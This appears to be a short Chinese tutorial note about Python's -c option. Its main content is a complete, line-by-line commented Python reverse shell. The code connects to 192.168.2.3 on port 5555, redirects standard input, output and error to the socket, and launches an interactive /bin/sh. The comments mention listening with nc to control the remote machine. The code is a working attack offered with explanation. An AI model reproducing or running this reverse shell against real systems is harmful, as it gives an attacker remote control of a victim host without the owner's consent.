python的 -c 可以在命令行中调用 python 代码, 实际上 -c 就是 command 的意思。

    import os  
    import socket  
    import subprocess  
      
    # 使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
      
    # 连接的服务器的ip地址,端口  
    s.connect(("192.168.2.3", 5555))  
      
    # os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2  
    # 而fileno()函数就是返回一个文件的文件描述符  
    # 在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr  
    # 所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示  
    os.dup2(s.fileno(), 0)  
    os.dup2(s.fileno(), 1)  
    os.dup2(s.fileno(), 2)  
      
    # subprocess允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码  
    # 而call函数的作用就是执行指定的命令,返回命令执行的状态码  
    # 所以这句代码的作用就是生成新的进程,调用/bin/sh  
    p = subprocess.call(["/bin/sh", "-i"])  
      
    # 综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机